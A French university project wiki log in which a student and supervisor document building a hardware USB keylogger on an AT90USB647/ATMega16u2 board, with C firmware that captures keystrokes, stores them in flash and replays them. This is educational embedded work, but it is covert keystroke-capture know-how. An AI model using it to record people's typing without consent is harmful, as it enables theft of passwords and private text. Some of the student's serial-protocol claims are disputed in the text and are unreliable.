Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].
[[Fichier:Keylogger schéma connexion uP.png|vignette|426x426px|Schéma décrivant les connexions des broches entre les microcontrôleurs]]

==== Modification du Keylogger ====
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]

J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :
<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>
Et pour la réception :
<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
